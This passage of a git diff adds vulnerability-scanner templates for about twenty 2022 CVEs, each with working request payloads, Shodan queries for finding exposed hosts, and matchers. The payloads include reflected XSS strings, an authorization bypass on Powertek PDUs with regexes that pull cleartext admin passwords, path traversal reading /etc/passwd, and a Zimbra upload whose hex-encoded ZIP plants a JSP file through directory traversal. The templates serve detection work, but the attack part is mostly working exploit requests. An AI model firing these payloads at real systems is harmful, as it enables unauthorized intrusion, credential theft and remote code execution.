https://github.com/WWBN/AVideo/blob/e04b1cd7062e16564157a82bae389eedd39fa088/updatedb/updateDb.v12.0.sql + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-32770 + cwe-id: CWE-79 + metadata: + shodan-query: http.html:"AVideo" + verified: "true" + tags: cve,cve2022,avideo,xss,wwbn + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?toast=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'text: "</script><script>alert(document.cookie);</script>' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-32771.yaml b/cves/2022/CVE-2022-32771.yaml new file mode 100644 index 0000000000..fb67c95f3c --- /dev/null +++ b/cves/2022/CVE-2022-32771.yaml @@ -0,0 +1,44 @@ +id: CVE-2022-32771 + +info: + name: WWBN AVideo 11.6 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + A cross-site scripting (xss) vulnerability exists in the footer alerts functionality of WWBN AVideo 11.6 via "success" parameter which is inserted into the document with insufficient sanitization. + reference: + - https://talosintelligence.com/vulnerability_reports/TALOS-2022-1538 + - https://nvd.nist.gov/vuln/detail/CVE-2022-32771 + - https://github.com/WWBN/AVideo/blob/e04b1cd7062e16564157a82bae389eedd39fa088/updatedb/updateDb.v12.0.sql + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-32771 + cwe-id: CWE-79 + metadata: + shodan-query: http.html:"AVideo" + verified: "true" + tags: cve,cve2022,avideo,xss + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?success=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'avideoAlertSuccess("</script><script>alert(document.cookie);</script>' + - 'text: "</script><script>alert(document.cookie);</script>' + condition: or + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-32772.yaml b/cves/2022/CVE-2022-32772.yaml new file mode 100644 index 0000000000..3092cbfd6c --- /dev/null +++ b/cves/2022/CVE-2022-32772.yaml @@ -0,0 +1,42 @@ +id: CVE-2022-32772 + +info: + name: WWBN AVideo 11.6 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + A cross-site scripting (xss) vulnerability exists in the footer alerts functionality of WWBN AVideo 11.6 via "msg" parameter which is inserted into the document with insufficient sanitization. + reference: + - https://talosintelligence.com/vulnerability_reports/TALOS-2022-1538 + - https://nvd.nist.gov/vuln/detail/CVE-2022-32772 + - https://github.com/WWBN/AVideo/blob/e04b1cd7062e16564157a82bae389eedd39fa088/updatedb/updateDb.v12.0.sql + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-32772 + cwe-id: CWE-79 + metadata: + shodan-query: http.html:"AVideo" + verified: "true" + tags: cve,cve2022,avideo,xss,wwbn + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'avideoAlertInfo("</script><script>alert(document.cookie);</script>' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-33119.yaml b/cves/2022/CVE-2022-33119.yaml new file mode 100644 index 0000000000..888c56a567 --- /dev/null +++ b/cves/2022/CVE-2022-33119.yaml @@ -0,0 +1,38 @@ +id: CVE-2022-33119 + +info: + name: NVRsolo v03.06.02 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + NUUO Network Video Recorder NVRsolo v03.06.02 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via login.php. + reference: + - https://github.com/badboycxcc/nuuo-xss/blob/main/README.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-33119 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-33119 + cwe-id: CWE-79 + metadata: + shodan-query: http.html:"NVRsolo" + verified: "true" + tags: cve,cve2022,nvrsolo,xss + +requests: + - raw: + - | + POST /login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Referer: "><script>alert(document.domain)</script><" + + language=en&user=user&pass=pass&submit=Login + + matchers: + - type: dsl + dsl: + - 'contains(all_headers, "text/html")' + - 'status_code == 200' + - contains(body,'<script>alert(document.domain)</script><\"?cmd=') + condition: and diff --git a/cves/2022/CVE-2022-33174.yaml b/cves/2022/CVE-2022-33174.yaml new file mode 100644 index 0000000000..59e665b041 --- /dev/null +++ b/cves/2022/CVE-2022-33174.yaml @@ -0,0 +1,49 @@ +id: CVE-2022-33174 + +info: + name: Powertek Firmware <3.30.30 - Authorization Bypass + author: pikpikcu + severity: high + description: | + Powertek firmware (multiple brands) before 3.30.30 running Power Distribution Units are vulnerable to authorization bypass in the web interface. To exploit the vulnerability, an attacker must send an HTTP packet to the data retrieval interface (/cgi/get_param.cgi) with the tmpToken cookie set to an empty string followed by a semicolon. This bypasses an active session authorization check. This can be then used to fetch the values of protected sys.passwd and sys.su.name fields that contain the username and password in cleartext. + reference: + - https://gynvael.coldwind.pl/?lang=en&id=748 + - https://nvd.nist.gov/vuln/detail/CVE-2022-33174 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-33174 + cwe-id: CWE-863 + metadata: + shodan-query: http.html:"Powertek" + verified: "true" + tags: cve,cve2022,powertek,auth-bypass + +requests: + - raw: + - | + GET /cgi/get_param.cgi?xml&sys.passwd&sys.su.name HTTP/1.1 + Host: {{Hostname}} + Cookie: tmpToken=; + + matchers-condition: and + matchers: + + - type: word + words: + - '<sys.passwd>' + - '<sys.su.name>' + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + group: 1 + regex: + - '<sys\.passwd>([A-Z0-9a-z]+)<\/sys\.passwd>' + - '<sys\.su\.name>([a-z]+)<\/sys\.su\.name>' + +# Enhanced by mp on 2022/07/15 diff --git a/cves/2022/CVE-2022-34045.yaml b/cves/2022/CVE-2022-34045.yaml new file mode 100644 index 0000000000..2e1dbb6b31 --- /dev/null +++ b/cves/2022/CVE-2022-34045.yaml @@ -0,0 +1,42 @@ +id: CVE-2022-34045 + +info: + name: Wavlink WN530HG4 - Access Control + author: arafatansari + severity: critical + description: | + Wavlink WN530HG4 M30HG4.V5030.191116 was discovered to contain a hardcoded encryption/decryption key for its configuration files at /etc_ro/lighttpd/www/cgi-bin/ExportAllSettings.sh. + reference: + - https://drive.google.com/file/d/1s5uZGC_iSzfCJt9BJ8h-P24vmsrmttrf/view?usp=sharing + - https://nvd.nist.gov/vuln/detail/CVE-2022-34045 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-34045 + cwe-id: CWE-798 + metadata: + shodan-query: http.html:"WN530HG4" + verified: "true" + tags: cve,cve2022,wavlink,exposure + +requests: + - raw: + - | + GET /backupsettings.dat HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Salted__' + + - type: word + part: header + words: + - application/octet-stream + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-34046.yaml b/cves/2022/CVE-2022-34046.yaml new file mode 100644 index 0000000000..d6e06bf5cd --- /dev/null +++ b/cves/2022/CVE-2022-34046.yaml @@ -0,0 +1,45 @@ +id: CVE-2022-34046 + +info: + name: Wavlink Sysinit.shtml - Password Exposure + author: For3stCo1d + severity: high + description: | + An access control issue in Wavlink WN533A8 M33A8.V5030.190716 allows attackers to obtain usernames and passwords via view-source:http://IP_ADDRESS/sysinit.shtml?r=52300 and searching for [logincheck(user);]. + reference: + - https://drive.google.com/file/d/18ECQEqZ296LDzZ0wErgqnNfen1jCn0mG/view?usp=sharing + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34046 + - http://packetstormsecurity.com/files/167890/Wavlink-WN533A8-Password-Disclosure.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-34046 + cwe-id: CWE-863 + metadata: + shodan-query: http.title:"Wi-Fi APP Login" + verified: "true" + tags: packetstorm,cve,cve2022,wavlink,router,exposure + +requests: + - raw: + - | + GET /sysinit.shtml?r=52300 HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'var syspasswd="' + - '<title>APP' + condition: and + + - type: status + status: + - 200 + + extractors: + - type: regex + regex: + - 'syspasswd="(.+?)"' diff --git a/cves/2022/CVE-2022-34047.yaml b/cves/2022/CVE-2022-34047.yaml new file mode 100644 index 0000000000..50283475b9 --- /dev/null +++ b/cves/2022/CVE-2022-34047.yaml @@ -0,0 +1,45 @@ +id: CVE-2022-34047 + +info: + name: Wavlink Set_safety.shtml - Password Exposure + author: For3stCo1d + severity: high + description: | + An access control issue in Wavlink WN530HG4 M30HG4.V5030.191116 allows attackers to obtain usernames and passwords via view-source:http://IP_ADDRESS/set_safety.shtml?r=52300 and searching for [var syspasswd]. + reference: + - https://drive.google.com/file/d/1sTQdUc12aZvJRFeb5wp8AfPdUEkkU9Sy/view?usp=sharing + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34047 + - http://packetstormsecurity.com/files/167891/Wavlink-WN530HG4-Password-Disclosure.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-34047 + cwe-id: CWE-668 + metadata: + shodan-query: http.title:"Wi-Fi APP Login" + verified: "true" + tags: cve2022,wavlink,router,exposure,packetstorm,cve + +requests: + - raw: + - | + GET /set_safety.shtml?r=52300 HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'var syspasswd="' + - 'APP' + condition: and + + - type: status + status: + - 200 + + extractors: + - type: regex + regex: + - 'syspasswd="(.+?)"' diff --git a/cves/2022/CVE-2022-34048.yaml b/cves/2022/CVE-2022-34048.yaml new file mode 100644 index 0000000000..8ede023429 --- /dev/null +++ b/cves/2022/CVE-2022-34048.yaml @@ -0,0 +1,46 @@ +id: CVE-2022-34048 + +info: + name: Wavlink WN533A8 - Cross-Site Scripting + author: ritikchaddha + severity: medium + description: | + Wavlink WN533A8 M33A8.V5030.190716 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the login_page parameter. + reference: + - https://www.exploit-db.com/exploits/50989 + - https://nvd.nist.gov/vuln/detail/CVE-2022-34048 + - https://drive.google.com/file/d/1xznFhH3w3TDN2RCdX62_ebylR4yaKmzf/view?usp=sharing + - https://drive.google.com/file/d/1NI3-k3AGIsSe2zjeigl1GVyU1VpG1SV3/view?usp=sharing + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-34048 + cwe-id: CWE-79 + metadata: + shodan-query: http.html:"Wavlink" + verified: "true" + tags: cve2022,wavlink,xss,router,edb,cve + +requests: + - raw: + - | + POST /cgi-bin/login.cgi HTTP/1.1 + Host: {{Hostname}} + + newUI=1&page=login&username=admin&langChange=0&ipaddr=196.219.234.10&login_page=x");alert(9);x=("&homepage=main.html&sysinitpage=sysinit.shtml&wizardpage=wiz.shtml&hostname=0.0.0.1&key=M94947765&password=ab4e98e4640b6c1ee88574ec0f13f908&lang_select=en + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'x");alert(9);x=("?login=0");' + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-34049.yaml b/cves/2022/CVE-2022-34049.yaml new file mode 100644 index 0000000000..8348fca99e --- /dev/null +++ b/cves/2022/CVE-2022-34049.yaml @@ -0,0 +1,46 @@ +id: CVE-2022-34049 + +info: + name: Wavlink Exportlogs.sh - Configuration Exposure + author: For3stCo1d + severity: medium + description: | + An access control issue in Wavlink WN530HG4 M30HG4.V5030.191116 allows unauthenticated attackers to download log files and configuration data. + reference: + - https://drive.google.com/file/d/1-eNgq6IS609bq2vB93c_N8jnZrJ2dgNF/view + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34049 + - https://drive.google.com/file/d/1ZeSwqu04OghLQXeG7emU-w-Amgadafqx/view?usp=sharing + - https://drive.google.com/file/d/1-eNgq6IS609bq2vB93c_N8jnZrJ2dgNF/view?usp=sharing + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2022-34049 + cwe-id: CWE-552 + metadata: + shodan-query: http.title:"Wi-Fi APP Login" + verified: "true" + tags: cve,cve2022,wavlink,router,exposure + +requests: + - raw: + - | + GET /cgi-bin/ExportLogs.sh HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Login' + - 'Password' + condition: and + + - type: word + part: header + words: + - filename="sysLogs.txt" + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-34328.yaml b/cves/2022/CVE-2022-34328.yaml new file mode 100644 index 0000000000..0a03575c31 --- /dev/null +++ b/cves/2022/CVE-2022-34328.yaml @@ -0,0 +1,42 @@ +id: CVE-2022-34328 + +info: + name: PMB 7.3.10 - Cross-Site Scripting + author: edoardottt + severity: medium + description: | + PMB 7.3.10 allows reflected XSS via the id parameter in an lvl=author_see request to index.php. + reference: + - https://github.com/jenaye/PMB/blob/main/README.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-34328 + - https://github.com/jenaye/PMB + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-34328 + cwe-id: CWE-79 + metadata: + shodan-query: http.html:"PMB Group" + verified: "true" + tags: cve,cve2022,pmb,xss + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?lvl=author_see&id=42691%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "' target='cart_info" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-34576.yaml b/cves/2022/CVE-2022-34576.yaml new file mode 100644 index 0000000000..7f593412ad --- /dev/null +++ b/cves/2022/CVE-2022-34576.yaml @@ -0,0 +1,38 @@ +id: CVE-2022-34576 + +info: + name: WAVLINK WN535 G3 - Access Control + author: arafatansari + severity: high + description: | + A vulnerability in /cgi-bin/ExportAllSettings.sh of WAVLINK WN535 G3 M35G3R.V5030.180927 allows attackers to execute arbitrary code via a crafted POST request. + reference: + - https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN535%20G3_Sensitive%20information%20leakage.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-34576 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-34576 + metadata: + shodan-query: http.html:"Wavlink" + verified: "true" + tags: cve,cve2022,wavlink,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}/cgi-bin/ExportAllSettings.sh" + + matchers-condition: and + matchers: + - type: word + words: + - 'Login=' + - 'Password=' + - 'Model=' + - 'AuthMode=' + condition: and + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-35151.yaml b/cves/2022/CVE-2022-35151.yaml new file mode 100644 index 0000000000..e1636ce4eb --- /dev/null +++ b/cves/2022/CVE-2022-35151.yaml @@ -0,0 +1,44 @@ +id: CVE-2022-35151 + +info: + name: kkFileView v4.1.0 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + kkFileView v4.1.0 was discovered to contain multiple cross-site scripting (XSS) vulnerabilities via the urls and currentUrl parameters at /controller/OnlinePreviewController.java. + reference: + - https://github.com/kekingcn/kkFileView/issues/366 + - https://nvd.nist.gov/vuln/detail/CVE-2022-35151 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-35151 + cwe-id: CWE-79 + metadata: + shodan-query: http.html:"kkFileView" + verified: "true" + tags: cve,cve2022,xss,kkfileview + +requests: + - raw: + - | + GET /picturesPreview?urls=aHR0cDovLzEyNy4wLjAuMS8xLnR4dCI%2BPHN2Zy9vbmxvYWQ9YWxlcnQoZG9jdW1lbnQuZG9tYWluKT4%3D HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '' + - 'ๅ›พ็‰‡้ข„่งˆ' + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-35405.yaml b/cves/2022/CVE-2022-35405.yaml new file mode 100644 index 0000000000..d6aad35007 --- /dev/null +++ b/cves/2022/CVE-2022-35405.yaml @@ -0,0 +1,58 @@ +id: CVE-2022-35405 + +info: + name: Zoho ManageEngine Password Manager Pro - Unauthenticated Remote Command Execution + author: true13 + severity: critical + description: | + This is a de-serialization vulnerability that causes unauthenticated RCE in XML-RPC of Zoho Manage Engine Password Manager Pro. + reference: + - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/zoho_password_manager_pro_xml_rpc_rce.rb + - https://xz.aliyun.com/t/11578 + - https://nvd.nist.gov/vuln/detail/CVE-2022-35405 + - https://www.manageengine.com/products/passwordmanagerpro/advisory/cve-2022-35405.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-35405 + metadata: + shodan-query: http.title:"ManageEngine Password" + tags: cve,cve2022,rce,zoho,passwordmanager,deserialization,unauth,msf + +requests: + - raw: + - | + POST /xmlrpc HTTP/1.1 + Host: {{Hostname}} + Content-Type: text/xml + + + + ProjectDiscovery + + + + + + test + + + + + + + + + + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Failed to read result object: null" + + - type: word + part: header + words: + - text/xml diff --git a/cves/2022/CVE-2022-35416.yaml b/cves/2022/CVE-2022-35416.yaml new file mode 100644 index 0000000000..e7524e8a37 --- /dev/null +++ b/cves/2022/CVE-2022-35416.yaml @@ -0,0 +1,44 @@ +id: CVE-2022-35416 + +info: + name: H3C SSL VPN through 2022-07-10 - Cookie Based Cross-Site Scripting + author: 0x240x23elu + severity: medium + description: | + H3C SSL VPN through 2022-07-10 allows wnm/login/login.json svpnlang cookie XSS. + reference: + - https://github.com/advisories/GHSA-9x76-78gc-r3m9 + - https://github.com/Docker-droid/H3C_SSL_VPN_XSS + - https://nvd.nist.gov/vuln/detail/CVE-2022-35416 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-35416 + cwe-id: CWE-79 + metadata: + shodan-query: http.html_hash:510586239 + verified: "true" + tags: cve,cve2022,xss,vpn,h3c + +requests: + - raw: + - | + GET /wnm/login/login.json HTTP/1.1 + Host: {{Hostname}} + Cookie: svpnlang= + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-35493.yaml b/cves/2022/CVE-2022-35493.yaml new file mode 100644 index 0000000000..c4c73faba3 --- /dev/null +++ b/cves/2022/CVE-2022-35493.yaml @@ -0,0 +1,40 @@ +id: CVE-2022-35493 + +info: + name: eShop - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + eShop - Multipurpose Ecommerce Store Website v3.0.4 allows Reflected Cross-site scripting vulnerability in json search parse and the json response in wrteam.in. + reference: + - https://github.com/Keyvanhardani/Exploit-eShop-Multipurpose-Ecommerce-Store-Website-3.0.4-Cross-Site-Scripting-XSS/blob/main/README.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-35493 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-35493 + cwe-id: CWE-79 + metadata: + shodan-query: http.html:"eShop - Multipurpose Ecommerce" + verified: "true" + tags: cve,cve2022,eshop,xss + +requests: + - method: GET + path: + - '{{BaseURL}}/home/get_products?search=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E' + + matchers-condition: and + matchers: + - type: word + words: + - 'Search Result for \">' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-36642.yaml b/cves/2022/CVE-2022-36642.yaml new file mode 100644 index 0000000000..d36b250033 --- /dev/null +++ b/cves/2022/CVE-2022-36642.yaml @@ -0,0 +1,43 @@ +id: CVE-2022-36642 + +info: + name: Omnia MPX 1.5.0+r1 - Path Traversal + author: arafatansari,ritikchaddha,For3stCo1d + severity: critical + description: | + A local file disclosure vulnerability in /appConfig/userDB.json of Telos Alliance Omnia MPX Node through 1.5.0+r1 allows attackers to escalate privileges to root and execute arbitrary commands. + reference: + - https://www.exploit-db.com/exploits/50996 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36642 + - https://cyber-guy.gitbook.io/cyber-guy/pocs/omnia-node-mpx-auth-bypass-via-lfd + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-36642 + cwe-id: CWE-862 + metadata: + shodan-query: http.title:"Omnia MPX Node | Login" + verified: "true" + tags: traversal,omnia,edb,cve,cve2022,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/logs/downloadMainLog?fname=../../../../../../..//etc/passwd" + - "{{BaseURL}}/logs/downloadMainLog?fname=../../../../../../..///config/MPXnode/www/appConfig/userDB.json" + + stop-at-first-match: true + matchers-condition: or + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + + - type: word + part: body + words: + - '"username":' + - '"password":' + - '"mustChangePwd":' + - '"roleUser":' + condition: and diff --git a/cves/2022/CVE-2022-36883.yaml b/cves/2022/CVE-2022-36883.yaml new file mode 100644 index 0000000000..56ea8fccfa --- /dev/null +++ b/cves/2022/CVE-2022-36883.yaml @@ -0,0 +1,38 @@ +id: CVE-2022-36883 + +info: + name: Git Plugin up to 4.11.3 on Jenkins Build Authorization + author: c-sh0 + severity: high + description: A missing permission check in Jenkins Git Plugin 4.11.3 and earlier allows unauthenticated attackers to trigger builds of jobs configured to use an attacker-specified Git repository and to cause them to check out an attacker-specified commit. + reference: + - https://www.jenkins.io/security/advisory/2022-07-27/#SECURITY-284 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-36883 + - https://nvd.nist.gov/vuln/detail/CVE-2022-36883 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N + cvss-score: 7.5 + cve-id: CVE-2022-36883 + cwe-id: CWE-862 + metadata: + shodan-query: X-Jenkins + verified: "true" + tags: cve,cve2022,jenkins,plugin,git + +requests: + - method: GET + path: + - "{{BaseURL}}/git/notifyCommit?url={{randstr}}&branches={{randstr}}" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "repository:" + - "SCM API plugin" + condition: and + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-37042.yaml b/cves/2022/CVE-2022-37042.yaml new file mode 100644 index 0000000000..3f68ce5c7f --- /dev/null +++ b/cves/2022/CVE-2022-37042.yaml @@ -0,0 +1,51 @@ +id: CVE-2022-37042 + +info: + name: Zimbra Collaboration Suite - Unauthenticated RCE + author: _0xf4n9x_,For3stCo1d + severity: critical + description: | + Zimbra Collaboration Suite (ZCS) 8.8.15 and 9.0 has mboximport functionality that receives a ZIP archive and extracts files from it. By bypassing authentication (i.e., not having an authtoken), an attacker can upload arbitrary files to the system, leading to directory traversal and remote code execution. This issue exists because of an incomplete fix for CVE-2022-27925. + reference: + - https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/ + - https://nvd.nist.gov/vuln/detail/CVE-2022-37042 + - https://blog.zimbra.com/2022/08/authentication-bypass-in-mailboximportservlet-vulnerability/ + - https://github.com/vnhacker1337/CVE-2022-27925-PoC + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-37042 + cwe-id: CWE-287 + metadata: + fofa-query: app="zimbra-้‚ฎไปถ็ณป็ปŸ" + shodan-query: http.favicon.hash:"1624375939" + tags: cve,cve2022,zimbra,rce,unauth,kev + +requests: + - raw: + - | + POST {{path}} HTTP/1.1 + Host: {{Hostname}} + Accept-Encoding: gzip, deflate + content-type: application/x-www-form-urlencoded + + {{hex_decode("504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0304140008000800000000000000000000000000000000003d0000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a73701cc8bd0ac2301000e0bd4f510285042128b8555cfc5bc4163bb4743bdb4353cf24c64bf4f145d76f55642eb2f6c158262bc569b8b4e3bc3bc0046db3dc3e443ecb45957ad8dc3fc705d4bbaeeaa3506566f19d4f90401ba7f7865082f7640660e3acbe229f11a806bec980cf882ffe59832111f29f95527a444246a9caac587f030000ffff504b0708023fdd5d8500000089000000504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000000000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b0102140014000800080000000000023fdd5d85000000890000003d00000000000000000000000000f00000002e2e2f2e2e2f2e2e2f2e2e2f6d61696c626f78642f776562617070732f7a696d62726141646d696e2f304d567a4165367067776535676f31442e6a7370504b05060000000002000200d6000000e00100000000")}} + + - | + GET /zimbraAdmin/0MVzAe6pgwe5go1D.jsp HTTP/1.1 + Host: {{Hostname}} + + payloads: + path: + - /service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1 + - /service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd + + stop-at-first-match: true + req-condition: true + matchers: + - type: dsl + dsl: + - 'status_code_1 == 401' + - 'status_code_2 == 200' + - "contains(body_2,'NcbWd0XGajaWS4DmOvZaCkxL1aPEXOZu')" + condition: and \ No newline at end of file diff --git a/cves/2022/CVE-2022-37153.yaml b/cves/2022/CVE-2022-37153.yaml new file mode 100644 index 0000000000..7bde99b1eb --- /dev/null +++ b/cves/2022/CVE-2022-37153.yaml @@ -0,0 +1,47 @@ +id: CVE-2022-37153 + +info: + name: Artica Proxy - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + An issue was discovered in Artica Proxy 4.30.000000. There is a XSS vulnerability via the password parameter in /fw.login.php. + reference: + - https://github.com/Fjowel/CVE-2022-37153 + - https://nvd.nist.gov/vuln/detail/CVE-2022-37153 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-37153 + cwe-id: CWE-79 + metadata: + shodan-query: http.html:"Artica" + verified: "true" + tags: cve,cve2022,xss,artica + +requests: + - raw: + - | + POST /fw.login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + userfont=&artica-language=&StandardDropDown=&HTMLTITLE=&username=admin&password=admin%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Password" value="admin">' + - 'Artica Web' + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-37299.yaml b/cves/2022/CVE-2022-37299.yaml new file mode 100644 index 0000000000..7dec084180 --- /dev/null +++ b/cves/2022/CVE-2022-37299.yaml @@ -0,0 +1,40 @@ +id: CVE-2022-37299 + +info: + name: Shirne CMS 1.2.0. - Path Traversal + author: pikpikcu + severity: medium + description: Shirne CMS 1.2.0 There is a Path Traversal vulnerability which could cause arbitrary file read via /static/ueditor/php/controller.php + reference: + - https://twitter.com/pikpikcu/status/1568316864690028544 + - https://nvd.nist.gov/vuln/detail/CVE-2022-37299 + - https://gitee.com/shirnecn/ShirneCMS/issues/I5JRHJ?from=project-issue + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N + cvss-score: 6.5 + cve-id: CVE-2022-37299 + cwe-id: CWE-22 + metadata: + verified: 